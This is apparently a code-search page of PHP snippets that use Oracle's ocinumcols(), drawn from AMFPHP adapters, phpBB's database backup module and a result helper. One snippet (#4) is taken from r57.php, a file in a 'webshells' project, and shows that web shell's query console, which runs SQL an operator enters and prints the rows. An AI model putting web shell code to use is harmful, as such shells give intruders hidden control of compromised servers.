コード例 #1
0
 /**
  * Number of fields in the result set
  *
  * @access  public
  * @return  integer
  */
 function num_fields()
 {
     $count = @ocinumcols($this->stmt_id);
     // if we used a limit we subtract it
     if ($this->limit_used) {
         $count = $count - 1;
     }
     return $count;
 }
コード例 #2
0
ファイル: oci8Adapter.php プロジェクト: FalconGT/DrEvony
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function oci8Adapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = ocinumcols($d);
     for ($j = 0; $j < $fieldcount; $j++) {
         $this->columnNames[] = ocicolumnname($d, $j + 1);
     }
     $i = 0;
     while (OCIFetchInto($d, $line, OCI_NUM + OCI_RETURN_LOBS + OCI_RETURN_NULLS)) {
         $this->rows[] = $line;
     }
 }
コード例 #3
0
ファイル: oci8Adapter.php プロジェクト: ksecor/civicrm
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function oci8Adapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = ocinumcols($d);
     $ob = "";
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     $i = 0;
     while (OCIFetchInto($d, $line, OCI_NUM + OCI_RETURN_LOBS + OCI_RETURN_NULLS)) {
         // write all of the array elements
         $ob .= "\n" . $fc;
         foreach ($line as $value) {
             // write all of the array elements
             if (is_string($value)) {
                 // type as string
                 $os = $this->_directCharsetHandler->transliterate($value);
                 //string flag, string length, and string
                 $len = strlen($os);
                 if ($len < 65536) {
                     $ob .= "" . pack('n', $len) . $os;
                 } else {
                     $ob .= "\f" . pack('N', $len) . $os;
                 }
             } elseif (is_float($value) || is_int($value)) {
                 // type as double
                 $b = pack('d', $value);
                 // pack the bytes
                 if ($be) {
                     // if we are a big-endian processor
                     $r = strrev($b);
                 } else {
                     // add the bytes to the output
                     $r = $b;
                 }
                 $ob .= "" . $r;
             } elseif (is_bool($value)) {
                 //type as bool
                 $ob .= "";
                 $ob .= pack('c', $value);
             } elseif (is_null($value)) {
                 // null
                 $ob .= "";
             }
         }
         $i++;
     }
     $this->serializedData = $ob;
     for ($j = 0; $j < $fieldcount; $j++) {
         $this->columnNames[] = $this->_charsetHandler->transliterate(ocicolumnname($d, $j + 1));
     }
     $this->numRows = $i;
 }
コード例 #4
0
ファイル: r57.php プロジェクト: Theov/webshells
                     @ociexecute($stat);
                     if ($error = @ocierror()) {
                         echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $error['message'] . "</b></font></td></tr></table><br>";
                     } else {
                         $rowcount = @ocirowcount($stat);
                         if ($rowcount != 0) {
                             echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>" . $rowcount . "</b></font></td></tr></table><br>";
                         } else {
                             echo "<table width=100%><tr>";
                             for ($j = 1; $j <= @ocinumcols($stat); $j++) {
                                 echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;" . htmlspecialchars(@ocicolumnname($stat, $j)) . "&nbsp;</b></font></td>";
                             }
                             echo "</tr>";
                             while (ocifetch($stat)) {
                                 echo "<tr>";
                                 for ($j = 1; $j <= @ocinumcols($stat); $j++) {
                                     echo "<td><font face=Verdana size=-2>&nbsp;" . htmlspecialchars(@ociresult($stat, $j)) . "&nbsp;</font></td>";
                                 }
                                 echo "</tr>";
                             }
                             echo "</table><br>";
                         }
                         @ocifreestatement($stat);
                     }
                 }
             }
             @ocilogoff($db);
         }
         break;
 }
 echo "<form name=form method=POST>";
コード例 #5
0
ファイル: acp_database.php プロジェクト: eyumay/ju.ejhs
 function write_data($table_name)
 {
     global $db;
     $ary_type = $ary_name = array();
     // Grab all of the data from current table.
     $sql = "SELECT *\n\t\t\tFROM {$table_name}";
     $result = $db->sql_query($sql);
     $i_num_fields = ocinumcols($result);
     for ($i = 0; $i < $i_num_fields; $i++) {
         $ary_type[$i] = ocicolumntype($result, $i + 1);
         $ary_name[$i] = ocicolumnname($result, $i + 1);
     }
     $sql_data = '';
     while ($row = $db->sql_fetchrow($result)) {
         $schema_vals = $schema_fields = array();
         // Build the SQL statement to recreate the data.
         for ($i = 0; $i < $i_num_fields; $i++) {
             // Oracle uses uppercase - we use lowercase
             $str_val = $row[strtolower($ary_name[$i])];
             if (preg_match('#char|text|bool|raw|clob#i', $ary_type[$i])) {
                 $str_quote = '';
                 $str_empty = "''";
                 $str_val = sanitize_data_oracle($str_val);
             } else {
                 if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                     if (empty($str_val)) {
                         $str_quote = '';
                     } else {
                         $str_quote = "'";
                     }
                 } else {
                     $str_quote = '';
                     $str_empty = 'NULL';
                 }
             }
             if (empty($str_val) && $str_val !== '0') {
                 $str_val = $str_empty;
             }
             $schema_vals[$i] = $str_quote . $str_val . $str_quote;
             $schema_fields[$i] = '"' . $ary_name[$i] . '"';
         }
         // Take the ordered fields and their associated data and build it
         // into a valid sql statement to recreate that field in the data.
         $sql_data = "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES (' . implode(', ', $schema_vals) . ")\n/\n";
         $this->flush($sql_data);
     }
     $db->sql_freeresult($result);
 }
コード例 #6
0
 function get_result()
 {
     $this->rows = array();
     $this->columns = array();
     $this->num_rows = $this->num_fields = 0;
     switch ($this->db) {
         case 'MySQL':
             $this->num_rows = @mysql_num_rows($this->res);
             $this->num_fields = @mysql_num_fields($this->res);
             while (false !== ($this->rows[] = @mysql_fetch_assoc($this->res))) {
             }
             @mysql_free_result($this->res);
             if ($this->num_rows) {
                 $this->columns = @array_keys($this->rows[0]);
                 return 1;
             }
             break;
         case 'MSSQL':
             $this->num_rows = @mssql_num_rows($this->res);
             $this->num_fields = @mssql_num_fields($this->res);
             while (false !== ($this->rows[] = @mssql_fetch_assoc($this->res))) {
             }
             @mssql_free_result($this->res);
             if ($this->num_rows) {
                 $this->columns = @array_keys($this->rows[0]);
                 return 1;
             }
             break;
         case 'PostgreSQL':
             $this->num_rows = @pg_num_rows($this->res);
             $this->num_fields = @pg_num_fields($this->res);
             while (false !== ($this->rows[] = @pg_fetch_assoc($this->res))) {
             }
             @pg_free_result($this->res);
             if ($this->num_rows) {
                 $this->columns = @array_keys($this->rows[0]);
                 return 1;
             }
             break;
         case 'Oracle':
             $this->num_fields = @ocinumcols($this->res);
             while (false !== ($this->rows[] = @oci_fetch_assoc($this->res))) {
                 $this->num_rows++;
             }
             @ocifreestatement($this->res);
             if ($this->num_rows) {
                 $this->columns = @array_keys($this->rows[0]);
                 return 1;
             }
             break;
     }
     return 0;
 }
コード例 #7
0
ファイル: acp_database.php プロジェクト: yunsite/gloryroad
    function main($id, $mode)
    {
        global $db, $user, $auth, $template, $table_prefix;
        global $config, $phpbb_root_path, $phpbb_admin_path, $phpEx;
        $user->add_lang('acp/database');
        $this->tpl_name = 'acp_database';
        $this->page_title = 'ACP_DATABASE';
        $action = request_var('action', '');
        $submit = isset($_POST['submit']) ? true : false;
        $template->assign_vars(array('MODE' => $mode));
        switch ($mode) {
            case 'backup':
                switch ($action) {
                    case 'download':
                        $type = request_var('type', '');
                        $table = request_var('table', array(''));
                        $format = request_var('method', '');
                        $where = request_var('where', '');
                        $store = $download = $structure = $schema_data = false;
                        if ($where == 'store_and_download' || $where == 'store') {
                            $store = true;
                        }
                        if ($where == 'store_and_download' || $where == 'download') {
                            $download = true;
                        }
                        if ($type == 'full' || $type == 'structure') {
                            $structure = true;
                        }
                        if ($type == 'full' || $type == 'data') {
                            $schema_data = true;
                        }
                        @set_time_limit(1200);
                        $filename = time();
                        // We set up the info needed for our on-the-fly creation :D
                        switch ($format) {
                            case 'text':
                                $ext = '.sql';
                                $open = 'fopen';
                                $write = 'fwrite';
                                $close = 'fclose';
                                $oper = '';
                                $mimetype = 'text/x-sql';
                                break;
                            case 'bzip2':
                                $ext = '.sql.bz2';
                                $open = 'bzopen';
                                $write = 'bzwrite';
                                $close = 'bzclose';
                                $oper = 'bzcompress';
                                $mimetype = 'application/x-bzip2';
                                break;
                            case 'gzip':
                                $ext = '.sql.gz';
                                $open = 'gzopen';
                                $write = 'gzwrite';
                                $close = 'gzclose';
                                $oper = 'gzencode';
                                $mimetype = 'application/x-gzip';
                                break;
                        }
                        // We write the file to "store" first (and then compress the file) to not use too much
                        // memory. The server process can be easily killed by storing too much data at once.
                        if ($store == true) {
                            $file = $phpbb_root_path . 'store/' . $filename . $ext;
                            $fp = $open($file, 'w');
                            if (!$fp) {
                                trigger_error('Unable to write temporary file to storage folder');
                            }
                        }
                        if ($download == true) {
                            $name = $filename . $ext;
                            header('Pragma: no-cache');
                            header("Content-Type: {$mimetype}; name=\"{$name}\"");
                            header("Content-disposition: attachment; filename={$name}");
                        }
                        // All of the generated queries go here
                        $sql_data = '';
                        $sql_data .= "#\n";
                        $sql_data .= "# phpBB Backup Script\n";
                        $sql_data .= "# Dump of tables for {$table_prefix}\n";
                        $sql_data .= "# DATE : " . gmdate("d-m-Y H:i:s", $filename) . " GMT\n";
                        $sql_data .= "#\n";
                        switch (SQL_LAYER) {
                            case 'sqlite':
                                $sql_data .= "BEGIN TRANSACTION;\n";
                                break;
                            case 'postgres':
                                $sql_data .= "BEGIN;\n";
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql_data .= "BEGIN TRANSACTION\nGO\n";
                                break;
                        }
                        foreach ($table as $table_name) {
                            // Get the table structure
                            if ($structure) {
                                switch (SQL_LAYER) {
                                    case 'mysqli':
                                    case 'mysql4':
                                    case 'mysql':
                                    case 'sqlite':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE IF EXISTS {$table_name};\n";
                                        break;
                                    case 'oracle':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE {$table_name};\n\\\n";
                                        break;
                                    case 'postgres':
                                    case 'firebird':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE {$table_name};\n";
                                        break;
                                    case 'mssql':
                                    case 'mssql_odbc':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "IF OBJECT_ID(N'{$table_name}', N'U') IS NOT NULL\n";
                                        $sql_data .= "DROP TABLE {$table_name};\nGO\n";
                                        break;
                                }
                                $sql_data .= $this->get_table_structure($table_name);
                            }
                            // Now write the data for the first time. :)
                            if ($store == true) {
                                $write($fp, $sql_data);
                            }
                            if ($download == true) {
                                if (!empty($oper)) {
                                    echo $oper($sql_data);
                                } else {
                                    echo $sql_data;
                                }
                            }
                            $sql_data = '';
                            // Data
                            if ($schema_data) {
                                $sql_data .= "\n";
                                switch (SQL_LAYER) {
                                    case 'mysqli':
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = mysqli_query($db->db_connect_id, $sql, MYSQLI_USE_RESULT);
                                        if ($result != false) {
                                            $fields_cnt = mysqli_num_fields($result);
                                            // Get field information
                                            $field = mysqli_fetch_fields($result);
                                            $field_set = array();
                                            for ($j = 0; $j < $fields_cnt; $j++) {
                                                $field_set[$j] = $field[$j]->name;
                                            }
                                            $search = array('\\', "'", "", "\n", "\r", "");
                                            $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z');
                                            $fields = implode(', ', $field_set);
                                            $values = array();
                                            $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES (';
                                            while ($row = mysqli_fetch_row($result)) {
                                                for ($j = 0; $j < $fields_cnt; $j++) {
                                                    if (!isset($row[$j]) || is_null($row[$j])) {
                                                        $values[$j] = 'NULL';
                                                    } else {
                                                        if ($field[$j]->flags & 32768 && !($field[$j]->flags & 1024)) {
                                                            $values[$j] = $row[$j];
                                                        } else {
                                                            $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'";
                                                        }
                                                    }
                                                }
                                                $sql_data .= $schema_insert . implode(', ', $values) . ");\n";
                                                if ($store == true) {
                                                    $write($fp, $sql_data);
                                                }
                                                if ($download == true) {
                                                    if (!empty($oper)) {
                                                        echo $oper($sql_data);
                                                    } else {
                                                        echo $sql_data;
                                                    }
                                                }
                                                $sql_data = '';
                                                $values = array();
                                            }
                                            mysqli_free_result($result);
                                        }
                                        break;
                                    case 'mysql4':
                                    case 'mysql':
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = mysql_unbuffered_query($sql, $db->db_connect_id);
                                        if ($result != false) {
                                            $fields_cnt = mysql_num_fields($result);
                                            // Get field information
                                            $field = array();
                                            for ($i = 0; $i < $fields_cnt; $i++) {
                                                $field[$i] = mysql_fetch_field($result, $i);
                                            }
                                            $field_set = array();
                                            for ($j = 0; $j < $fields_cnt; $j++) {
                                                $field_set[$j] = $field[$j]->name;
                                            }
                                            $search = array('\\', "'", "", "\n", "\r", "");
                                            $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z');
                                            $fields = implode(', ', $field_set);
                                            $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES (';
                                            while ($row = mysql_fetch_row($result)) {
                                                $values = array();
                                                for ($j = 0; $j < $fields_cnt; $j++) {
                                                    if (!isset($row[$j]) || is_null($row[$j])) {
                                                        $values[$j] = 'NULL';
                                                    } else {
                                                        if ($field[$j]->numeric && $field[$j]->type !== 'timestamp') {
                                                            $values[$j] = $row[$j];
                                                        } else {
                                                            $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'";
                                                        }
                                                    }
                                                }
                                                $sql_data .= $schema_insert . implode(', ', $values) . ");\n";
                                                if ($store == true) {
                                                    $write($fp, $sql_data);
                                                }
                                                if ($download == true) {
                                                    if (!empty($oper)) {
                                                        echo $oper($sql_data);
                                                    } else {
                                                        echo $sql_data;
                                                    }
                                                }
                                                $sql_data = '';
                                            }
                                            mysql_free_result($result);
                                        }
                                        break;
                                    case 'sqlite':
                                        $col_types = sqlite_fetch_column_types($table_name, $db->db_connect_id);
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $names = $data = array();
                                            foreach ($row as $row_name => $row_data) {
                                                $names[] = $row_name;
                                                // Figure out what this data is, escape it properly
                                                if (is_null($row_data)) {
                                                    $row_data = 'NULL';
                                                } else {
                                                    if ($row_data == '') {
                                                        $row_data = "''";
                                                    } else {
                                                        if (strpos($col_types[$row_name], 'text') !== false || strpos($col_types[$row_name], 'char') !== false) {
                                                            $row_data = "'" . $row_data . "'";
                                                        }
                                                    }
                                                }
                                                $data[] = $row_data;
                                            }
                                            $sql_data .= 'INSERT INTO ' . $table_name . ' (' . implode(', ', $names) . ') VALUES (' . implode(', ', $data) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                    case 'postgres':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = pg_num_fields($result);
                                        $seq = '';
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = pg_field_type($result, $i);
                                            $ary_name[$i] = pg_field_name($result, $i);
                                            $sql = "SELECT pg_get_expr(d.adbin, d.adrelid) as rowdefault\n\t\t\t\t\t\t\t\t\t\t\t\tFROM pg_attrdef d, pg_class c\n\t\t\t\t\t\t\t\t\t\t\t\tWHERE (c.relname = '{$table_name}')\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND (c.oid = d.adrelid)\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND d.adnum = " . strval($i + 1);
                                            $result2 = $db->sql_query($sql);
                                            if ($row = $db->sql_fetchrow($result2)) {
                                                // Determine if we must reset the sequences
                                                if (strpos($row['rowdefault'], 'nextval(\'') === 0) {
                                                    $seq .= "SELECT SETVAL('{$table_name}_seq',(select case when max({$ary_name[$i]})>0 then max({$ary_name[$i]})+1 else 1 end from {$table_name}));\n";
                                                }
                                            }
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        // Write out the sequence statements
                                        if ($store == true) {
                                            $write($fp, $seq);
                                        }
                                        if ($download == true) {
                                            if (!empty($oper)) {
                                                echo $oper($seq);
                                            } else {
                                                echo $seq;
                                            }
                                        }
                                        $seq = '';
                                        break;
                                    case 'mssql_odbc':
                                        $ary_type = $ary_name = array();
                                        $ident_set = false;
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $retrieved_data = odbc_num_rows($result);
                                        if ($retrieved_data) {
                                            $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1";
                                            $result2 = $db->sql_query($sql);
                                            $row2 = $db->sql_fetchrow($result2);
                                            if (!empty($row2['has_identity'])) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n";
                                                $ident_set = true;
                                            }
                                            $db->sql_freeresult($result2);
                                        }
                                        $i_num_fields = odbc_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = odbc_field_type($result, $i);
                                            $ary_name[$i] = odbc_field_name($result, $i);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        if ($retrieved_data) {
                                            $sql_data = "\nGO\n";
                                            if ($ident_set) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n";
                                            }
                                        }
                                        break;
                                    case 'mssql':
                                        $ary_type = $ary_name = array();
                                        $ident_set = false;
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $retrieved_data = mssql_num_rows($result);
                                        $i_num_fields = mssql_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = mssql_field_type($result, $i);
                                            $ary_name[$i] = mssql_field_name($result, $i);
                                        }
                                        if ($retrieved_data) {
                                            $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1";
                                            $result2 = $db->sql_query($sql);
                                            $row2 = $db->sql_fetchrow($result2);
                                            if (!empty($row2['has_identity'])) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n";
                                                $ident_set = true;
                                            }
                                            $db->sql_freeresult($result2);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        if ($retrieved_data) {
                                            $sql_data = "\nGO\n";
                                            if ($ident_set) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n";
                                            }
                                        }
                                        break;
                                    case 'firebird':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = ibase_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $info = ibase_field_info($result, $i);
                                            $ary_type[$i] = $info['type'];
                                            $ary_name[$i] = $info['name'];
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[strtolower($ary_name[$i])];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = "'" . $ary_name[$i] . "'";
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                    case 'oracle':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = ocinumcols($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = ocicolumntype($result, $i);
                                            $ary_name[$i] = ocicolumnname($result, $i);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = '"' . $ary_name[$i] . "'";
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                }
                            }
                        }
                        switch (SQL_LAYER) {
                            case 'sqlite':
                            case 'postgres':
                                $sql_data .= "COMMIT;";
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql_data .= "COMMIT\nGO";
                                break;
                        }
                        if ($store == true) {
                            $write($fp, $sql_data);
                            $close($fp);
                        }
                        if ($download == true) {
                            if (!empty($oper)) {
                                echo $oper($sql_data);
                            } else {
                                echo $sql_data;
                            }
                            exit;
                        }
                        unset($sql_data);
                        add_log('admin', 'LOG_DB_BACKUP');
                        trigger_error($user->lang['BACKUP_SUCCESS']);
                        break;
                    default:
                        $tables = array();
                        switch (SQL_LAYER) {
                            case 'sqlite':
                                $sql = "SELECT name\n\t\t\t\t\t\t\t\t\tFROM sqlite_master\n\t\t\t\t\t\t\t\t\tWHERE type='table'\n\t\t\t\t\t\t\t\t\tORDER BY name";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['name'], $table_prefix) === 0) {
                                        $tables[] = $row['name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'mysqli':
                            case 'mysql4':
                            case 'mysql':
                                $sql = "SHOW TABLES\n\t\t\t\t\t\t\t\t\tLIKE '{$table_prefix}%'";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    $tables[] = current($row);
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'postgres':
                                $sql = "SELECT relname\n\t\t\t\t\t\t\t\t\tFROM pg_stat_user_tables\n\t\t\t\t\t\t\t\t\tORDER BY relname;";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['relname'], $table_prefix) === 0) {
                                        $tables[] = $row['relname'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql = "SELECT TABLE_NAME\n\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.TABLES\n\t\t\t\t\t\t\t\t\tWHERE TABLE_TYPE = 'BASE TABLE'\n\t\t\t\t\t\t\t\t\tORDER BY TABLE_NAME";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['TABLE_NAME'], $table_prefix) === 0) {
                                        $tables[] = $row['TABLE_NAME'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'firebird':
                                $sql = 'SELECT RDB$RELATION_NAME as TABLE_NAME
									FROM RDB$RELATIONS
